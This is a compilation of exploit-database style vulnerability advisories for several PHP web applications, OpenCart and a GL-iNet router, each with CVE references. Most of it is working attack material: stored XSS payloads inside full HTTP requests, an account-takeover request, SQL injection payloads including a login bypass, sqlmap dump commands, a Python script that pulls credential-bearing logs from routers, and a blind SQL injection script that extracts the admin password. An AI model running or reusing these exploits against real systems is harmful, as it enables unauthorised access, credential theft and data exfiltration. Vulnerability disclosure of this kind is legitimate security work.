Computer Laboratory Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

#Vulnerability Details:  
#Application Name: Computer Laboratory Management System  
#Software Link: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html  
#Vendor Homepage: https://www.sourcecodester.com/users/tips23  
#BuG: Insecure Direct Object References (IDOR) and Account Takeover  
#BuG_Author: SoSPiro  
#CVE: CVE-2024-3140

# Vulnerable code section:

foreach($_POST as $k => $v){  
    $v = $this->conn->real_escape_string($v);  
    if(in_array($k, $main_field)){  
        if(!empty($data)) $data .= ", ";  
        $data .= " `{$k}` = '{$v}' ";  
    }  
}

- The vulnerable section of the code lies within the registration() method of the Users class. Specifically, the lack of proper validation and sanitization of user input allows for potential Cross-Site Scripting (XSS) attacks.

# Vulnerability Description:

- The vulnerability arises due to the lack of proper validation and sanitization of user-supplied data before it is used in constructing SQL queries. This allows an attacker to inject malicious scripts, such as JavaScript code, into the database. When the administrator views the user list, the injected script gets executed, leading to a Cross-Site Scripting (XSS) attack.

# Proof of Concept (PoC):

- Poc Video : https://drive.google.com/file/d/1iTJZz3QzLUkKeso5iHfBMlNbIwZy1X-Y/view?usp=sharing

- Request:

POST /php-lms/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------381104392340117332004262429571  
Content-Length: 946  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/php-lms/admin/?page=user  
Cookie: PHPSESSID=3oor3gc9ih6iq8fu6qpjf50si8  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
X-PwnFox-Color: green

-----------------------------381104392340117332004262429571  
Content-Disposition: form-data; name="id"

8  
-----------------------------381104392340117332004262429571  
Content-Disposition: form-data; name="firstname"

staff2  
-----------------------------381104392340117332004262429571  
Content-Disposition: form-data; name="middlename"

<script>alert(1)</script>  
-----------------------------381104392340117332004262429571  
Content-Disposition: form-data; name="lastname"

asd  
-----------------------------381104392340117332004262429571  
Content-Disposition: form-data; name="username"

staff  
-----------------------------381104392340117332004262429571  
Content-Disposition: form-data; name="password"

-----------------------------381104392340117332004262429571  
Content-Disposition: form-data; name="img"; filename=""  
Content-Type: application/octet-stream

-----------------------------381104392340117332004262429571--

- In this POST request, an attacker has included a script tag in the "middlename" field:

<script>alert(1)</script>

- When the administrator views the user list, this script tag will be executed, leading to the alert dialog box with the message "1" being displayed. This demonstrates the XSS vulnerability in the application.

# Impact:

- The impact of this vulnerability is significant. An attacker can execute arbitrary JavaScript code within the context of the administrator's session, potentially leading to theft of sensitive information, session hijacking, or defacement of the application. Additionally, since the XSS payload executes within the administrator's session, it can lead to further exploitation of the system or its users.

# Reproduce:

https://github.com/Sospiro014/zday1/blob/main/xss_1.md  
https://vuldb.com/?id.258915  
https://www.cve.org/CVERecord?id=CVE-2024-3140

Computer Laboratory Management System 1.0 Cross Site Scripting

Computer Laboratory Management System version 1.0 suffers from an insecure direct object reference vulnerability.

#Vulnerability Details:  
#Application Name: Computer Laboratory Management System  
#Software Link: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html  
#Vendor Homepage: https://www.sourcecodester.com/users/tips23  
#BuG: Insecure Direct Object References (IDOR) and Account Takeover  
#BuG_Author: SoSPiro  
#CVE: CVE-2024-3139

# Vulnerable code section:

if(!empty($_FILES['img']['tmp_name'])){  
    if(!is_dir(base_app."uploads/avatars"))  
        mkdir(base_app."uploads/avatars");  
    $ext = pathinfo($_FILES['img']['name'], PATHINFO_EXTENSION);  
    $fname = "uploads/avatars/$id.png"; // The $id value is directly used in the file path  
    // Rest of the code  
}

# Vulnerability Description:

This vulnerability exists in the section of code responsible for handling file uploads. The $id variable, obtained from user input ($_POST), is utilized directly in constructing the file path without appropriate validation or authorization checks, leading to both IDOR and account takeover vulnerabilities. This allows an attacker to manipulate the $id parameter to access and modify files of other users, including administrators.

# Proof of Concept (PoC):

- Poc Video : https://drive.google.com/file/d/1P0Vg_sYM9S43_rJTe1l5E2Vt9gzvb0YX/view?usp=sharing

- Request:

POST /php-lms/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------38244968796537297751592545024  
Content-Length: 8393  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/php-lms/admin/?page=user  
Cookie: PHPSESSID=3oor3gc9ih6iq8fu6qpjf50si8  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
X-PwnFox-Color: green

-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="id"

7  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="firstname"

testtt  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="middlename"

testMiddle   
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="lastname"

te Last Name   
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="username"

admin2  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="password"

qwe123  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="img"; filename="hack.png"  
Content-Type: image/png

PNG  
...

- Response:

HTTP/1.1 200 OK  
Date: Mon, 01 Apr 2024 10:19:19 GMT  
Server: Apache/2.4.54 (Win64) PHP/8.2.0 mod_fcgid/2.3.10-dev  
X-Powered-By: PHP/8.2.0  
X-Xdebug-Profile-Filename: c:/wamp64/tmp\trace.localhost.1711966759.10780.cgrind  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 1  
Connection: close  
Content-Type: text/html; charset=UTF-8

1

# Impact:

This vulnerability allows attackers to access and modify user data and profile pictures, leading to potential phishing, distribution of malicious content, and reputational damage. Additionally, unauthorized access to administrator accounts can occur, resulting in the compromise of sensitive information. This poses a significant risk to the security and usability of the application.

# Reproduce:

https://github.com/Sospiro014/zday1/blob/main/idor%2Baccaunt_takeover.md  
https://vuldb.com/?id.258914  
https://www.cve.org/CVERecord?id=CVE-2024-3139

Computer Laboratory Management System 1.0 Insecure Direct Object Reference

Hospital Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Hospital Management System v1.0 - Stored Cross Site Scripting (XSS)# Google Dork: NA# Date: 28-03-2024# Exploit Author: Sandeep Vishwakarma# Vendor Homepage: https://code-projects.org# Software Link: https://code-projects.org/hospital-management-system-in-php-css-javascript-and-mysql-free-download/# Version: v1.0# Tested on: Windows 10# CVE : CVE-2024-29412# Description: Stored Cross Site Scripting vulnerability inHospital Management System - v1.0 allows an attacker to execute arbitrarycode via a crafted payload to the 'patient_id','first_name','middle_initial' ,'last_name'" in /receptionist.php component.# POC:1. Go to the User Login page: "http://localhost/HospitalManagementSystem-gh-pages/2. Login with "r1" ID which is redirected to "http://localhost/HospitalManagementSystem-gh-pages/receptionist.php"endpoint.3. In Patient information functionality add this payload"><script>alert('1')</script> ,in all parameter.4. click on submit.# Reference:https://github.com/hackersroot/CVE-PoC/blob/main/CVE-2024-29412.md

Hospital Management System 1.0 Cross Site Scripting

E-Insurance version 1.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: E-INSUARANCE v1.0 - Stored Cross Site Scripting (XSS)# Google Dork: NA# Date: 28-03-2024# Exploit Author: Sandeep Vishwakarma# Vendor Homepage: https://www.sourcecodester.com# Software Link:https://www.sourcecodester.com/php/16995/insurance-management-system-php-mysql.html# Version: v1.0# Tested on: Windows 10# Description: Stored Cross Site Scripting vulnerability in E-INSUARANCE -v1.0 allows an attacker to execute arbitrary code via a crafted payload tothe Firstname and lastname parameter in the profile component.# POC:1. After login goto http://127.0.0.1/E-Insurance/Script/admin/?page=profile2. In fname & lname parameter add payolad"><script>alert("Hacked_by_Sandy")</script>3. click on submit.# Reference:https://github.com/hackersroot/CVE-PoC/blob/main/CVE-2024-29411.md

E-Insurance 1.0 Cross Site Scripting

GL-iNet MT6000 version 4.5.5 suffers from an arbitrary file download vulnerability.

    # Exploit Title: GL-iNet MT6000 4.5.5 - Arbitrary File Download# CVE: CVE-2024-27356# Google Dork: intitle:"GL.iNet Admin Panel"# Date: 2/26/2024# Exploit Author: Bandar Alharbi (aggressor)# Vendor Homepage: www.gl-inet.com# Tested Software Link: https://fw.gl-inet.com/firmware/x3000/release/openwrt-x3000-4.0-0406release1-0123-1705996441.bin# Tested Model: GL-X3000 Spitz AX# Affected Products and Firmware Versions: https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Download_file_vulnerability.mdimport sysimport requestsimport jsonrequests.packages.urllib3.disable_warnings()h = {'Content-type':'application/json;charset=utf-8', 'User-Agent':'Mozilla/5.0 (compatible;contxbot/1.0)'}def DoesTarExist():    r = requests.get(url+"/js/logread.tar", verify=False, timeout=30, headers=h)    if r.status_code == 200:        f = open("logread.tar", "wb")        f.write(r.content)        f.close()        print("[*] Full logs archive `logread.tar` has been downloaded!")        print("[*] Do NOT forget to untar it and grep it! It leaks confidential info such as credentials, registered Device ID and a lot more!")        return True    else:        print("[*] The `logread.tar` archive does not exist however ... try again later!")        return Falsedef isVulnerable():    r1 = requests.post(url+"/rpc", verify=False, timeout=30, headers=h)    if r1.status_code == 500 and "nginx" in r1.text:        r2 = requests.get(url+"/views/gl-sdk4-ui-login.common.js", verify=False, timeout=30, headers=h)        if  "Admin-Token" in r2.text:            j  = {"jsonrpc":"2.0","id":1,"method":"call","params":["","ui","check_initialized"]}            r3 = requests.post(url+"/rpc", verify=False, json=j, timeout=30, headers=h)            ver = r3.json()['result']['firmware_version']            model = r3.json()['result']['model']            if ver.startswith(('4.')):                print("[*] Firmware version (%s) is vulnerable!" %ver)                print("[*] Device model is: %s" %model)                return True    print("[*] Either the firmware version is not vulnerable or the target may not be a GL.iNet device!")    return Falsedef isAlive():    try:        r = requests.get(url, verify=False, timeout=30, headers=h)        if r.status_code != 200:            print("[*] Make sure the target's web interface is accessible!")            return False        elif r.status_code == 200:            print("[*] The target is reachable!")            return True    except Exception:        print("[*] Error occurred when connecting to the target!")        pass    return Falseif __name__ == '__main__':    if len(sys.argv) != 2:        print("exploit.py url")        sys.exit(0)    url = sys.argv[1]    url = url.lower()    if not url.startswith(('http://', 'https://')):        print("[*] Invalid url format! It should be http[s]://<domain or ip>")        sys.exit(0)    if url.endswith("/"):        url = url.rstrip("/")    print("[*] GL.iNet Unauthenticated Full Logs Downloader")    try:        if (isAlive() and isVulnerable()) == (True and True):            DoesTarExist()    except KeyboardInterrupt:        print("[*] The exploit has been stopped by the user!")        sys.exit(0)

GL-iNet MT6000 4.5.5 Arbitrary File Download

Daily Habit Tracker version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Daily Habit Tracker 1.0 - SQL Injection# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/17118/daily-habit-tracker-using-php-and-mysql-source-code.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24495### SQL Injection:> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.### Affected Components:> delete-tracker.php### Description:> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.## Proof of Concept:### Manual ExploitationThe payload `'"";SELECT SLEEP(5)#` can be employed to force the database to sleep for 5 seconds:```GET /habit-tracker/endpoint/delete-tracker.php?tracker=5'""%3bSELECT+SLEEP(5)%23 HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1```![5 seconds delay](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/sqli.png?raw=true)### SQLMapSave the following request to `delete_tracker.txt`:```GET /habit-tracker/endpoint/delete-tracker.php?tracker=5 HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1```Use `sqlmap` with `-r` option to exploit the vulnerability:```sqlmap -r ./delete_tracker.txt --level 5 --risk 3 --batch --technique=T --dump```## RecommendationsWhen using this tracking system, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.

Daily Habit Tracker 1.0 SQL Injection

Daily Habit Tracker version 1.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Daily Habit Tracker 1.0 - Stored Cross-Site Scripting (XSS)# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/17118/daily-habit-tracker-using-php-and-mysql-source-code.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24494### Stored Cross-Site Scripting (XSS):> Stored Cross-Site Scripting (XSS) is a web security vulnerability where an attacker injects malicious scripts into a web application's database. The malicious script is saved on the server and later rendered in other users' browsers. When other users access the affected page, the stored script executes, potentially stealing data or compromising user security.### Affected Components:> add-tracker.php, update-tracker.phpVulnerable parameters: - day - exercise - pray - read_book - vitamins - laundry - alcohol - meat### Description:> Multiple parameters within `Add Tracker` and `Update Tracker` requests are vulnerable to Stored Cross-Site Scripting. The application failed to sanitize user input while storing it to the database and reflecting back on the page.## Proof of Concept:The following payload `<script>alert('STORED_XSS')</script>` can be used in order to exploit the vulnerability.Below is an example of a request demonstrating how a malicious payload can be stored within the `day` value:```POST /habit-tracker/endpoint/add-tracker.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 175Origin: http://localhostDNT: 1Connection: closeReferer: http://localhost/habit-tracker/home.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1date=1992-01-12&day=Tuesday%3Cscript%3Ealert%28%27STORED_XSS%27%29%3C%2Fscript%3E&exercise=Yes&pray=Yes&read_book=Yes&vitamins=Yes&laundry=Yes&alcohol=Yes&meat=Yes```![XSS Fired](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/xss.png?raw=true)## RecommendationsWhen using this tracking system, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.

Daily Habit Tracker 1.0 Cross Site Scripting

Employee Management System version 1.0 suffers from additional remote SQL injection vulnerabilities. Original discovery of this finding is attributed to Ozlem Balci in January of 2024.

    # Exploit Title: Employee Management System 1.0 - `txtfullname` and `txtphone` SQL Injection# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24499### SQL Injection:> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.### Affected Components:> /employee_akpoly/Admin/edit_profile.php> Two parameters `txtfullname` and `txtphone` within admin edit profile mechanism are vulnerable to SQL Injection.![txtfullname](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_edit_txtfullname_sqli.png?raw=true)![txtphone](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_edit_txtphone_sqli.png?raw=true)### Description:> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.## Proof of Concept:### SQLMapSave the following request to `edit_profile.txt`:```POST /employee_akpoly/Admin/edit_profile.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 88Origin: http://localhostConnection: closeReferer: http://localhost/employee_akpoly/Admin/edit_profile.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1txtfullname=Caroline+Bassey&txtphone=0905656&old_image=uploadImage%2Fbird.jpg&btnupdate=```Use `sqlmap` with `-r` option to exploit the vulnerability:```sqlmap -r edit_profile.txt --level 5 --risk 3 --batch --dbms MYSQL --dump```## RecommendationsWhen using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.------------------------# Exploit Title: Employee Management System 1.0 - `txtusername` and `txtpassword` SQL Injection (Admin Login)# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24497### SQL Injection:> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.### Affected Components:> /employee_akpoly/Admin/login.php> Two parameters `txtusername` and `txtpassword` within admin login mechanism are vulnerable to SQL Injection.![txtusername](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_login_txtusername_sqli.png?raw=true)![txtpassword](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_login_txtpassword_sqli.png?raw=true)### Description:> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.## Proof of Concept:### Manual ExploitationThe payload `' and 1=1-- -` can be used to bypass authentication within admin login page.```POST /employee_akpoly/Admin/login.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 61Origin: http://localhostConnection: closeReferer: http://localhost/employee_akpoly/Admin/login.phpCookie: PHPSESSID=lcb84k6drd2tepn90ehe7p9n20Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1txtusername=admin' and 1=1-- -&txtpassword=password&btnlogin=```### SQLMapSave the following request to `admin_login.txt`:```POST /employee_akpoly/Admin/login.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 62Origin: http://localhostConnection: closeReferer: http://localhost/employee_akpoly/Admin/login.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1txtusername=admin&txtpassword=password&btnlogin=```Use `sqlmap` with `-r` option to exploit the vulnerability:```sqlmap -r admin_login.txt --level 5 --risk 3 --batch --dbms MYSQL --dump```## RecommendationsWhen using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.

Employee Management System 1.0 SQL Injection

OpenCart Core version 4.0.2.3 suffers from a remote SQL injection vulnerability.

    # Exploit Title: OpenCart Core 4.0.2.3 - 'search' SQLi# Date: 2024-04-2# Exploit Author: Saud Alenazi# Vendor Homepage: https://www.opencart.com/# Software Link: https://github.com/opencart/opencart/releases# Version: 4.0.2.3# Tested on: XAMPP, Linux# Contact: https://twitter.com/dmaral3noz* Description :Opencart allows SQL Injection via parameter 'search' in /index.php?route=product/search&search=.Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.* Steps to Reproduce :- Go to : http://127.0.0.1/index.php?route=product/search&search=test- New Use command Sqlmap : sqlmap -u "http://127.0.0.1/index.php?route=product/search&search=#1" --level=5 --risk=3 -p search --dbs===========Output :Parameter: search (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: route=product/search&search=') AND 2427=2427-- drCaType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: route=product/search&search=') AND (SELECT 8368 FROM (SELECT(SLEEP(5)))uUDJ)-- Nabb

OpenCart Core 4.0.2.3 SQL Injection

Online Hotel Booking in PHP version 1.0 suffers from a remote blind SQL injection vulnerability.

    # Exploit Title:  Online Hotel Booking In PHP 1.0 - Blind SQL Injection (Unauthenticated)# Google Dork: n/a# Date: 04/02/2024# Exploit Author: Gian Paris C. Agsam# Vendor Homepage: https://github.com/projectworldsofficial# Software Link: https://projectworlds.in/wp-content/uploads/2019/06/hotel-booking.zip# Version: 1.0# Tested on: Apache/2.4.58 (Debian) / PHP 8.2.12# CVE : n/aimport requestsimport argparsefrom colorama import (Fore as F, Back as B, Style as S)BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB,FW = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT,F.WHITErequests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}parser = argparse.ArgumentParser(description='Exploit Blind SQL Injection')parser.add_argument('-u', '--url', help='')args = parser.parse_args()def banner():    print(f"""{FR}      ·▄▄▄·▄▄▄.▄▄ · ▄▄▄ . ▄▄· ·▄▄▄▄  ▄▄▄        ▪  ·▄▄▄▄  ▪     ▐▄▄·▐▄▄·▐█ ▀. ▀▄.▀·▐█ ▌▪██▪ ██ ▀▄ █·▪     ██ ██▪ ██  ▄█▀▄ ██▪ ██▪ ▄▀▀▀█▄▐▀▀▪▄██ ▄▄▐█· ▐█▌▐▀▀▄  ▄█▀▄ ▐█·▐█· ▐█▌▐█▌.▐▌██▌.██▌.▐█▄▪▐█▐█▄▄▌▐███▌██. ██ ▐█•█▌▐█▌.▐▌▐█▌██. ██  ▀█▄▀▪▀▀▀ ▀▀▀  ▀▀▀▀  ▀▀▀ ·▀▀▀ ▀▀▀▀▀• .▀  ▀ ▀█▄▀▪▀▀▀▀▀▀▀▀•         Github: https://github.com/offensive-droid         {FW}    """)# Define the characters to testchars = [    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',    'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D',    'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S',    'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7',    '8', '9', '@', '#']def sqliPayload(char, position, userid, column, table):    sqli = 'admin\' UNION SELECT IF(SUBSTRING('    sqli += str(column) + ','    sqli += str(position) + ',1) = \''    sqli += str(char) + '\',sleep(3),null) FROM '    sqli += str(table) + ' WHERE uname="admin"\''    return sqlidef postRequest(URL, sqliReq, char, position):    sqliURL = URL    params = {"emailusername": "admin", "password": sqliReq, "submit": "Login"}    req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies, timeout=10)    if req.elapsed.total_seconds() >= 2:        print("{} : {}".format(char, req.elapsed.total_seconds()))        return char    return ''def theHarvester(target, CHARS, url):    #print("Retrieving: {} {} {}".format(target['table'], target['column'], target['id']))    print("Retrieving admin password".format(target['table'], target['column'], target['id']))    position = 1    full_pass = ""    while position < 5:        for char in CHARS:            sqliReq = sqliPayload(char, position, target['id'], target['column'], target['table'])            found_char = postRequest(url, sqliReq, char, position)            full_pass += found_char        position += 1    return full_passif __name__ == "__main__":    banner()    HOST = str(args.url)    PATH = HOST + "/hotel booking/admin/login.php"    adminPassword = {"id": "1", "table": "manager", "column": "upass"}    adminPass = theHarvester(adminPassword, chars, PATH)    print("Admin Password:", adminPass)

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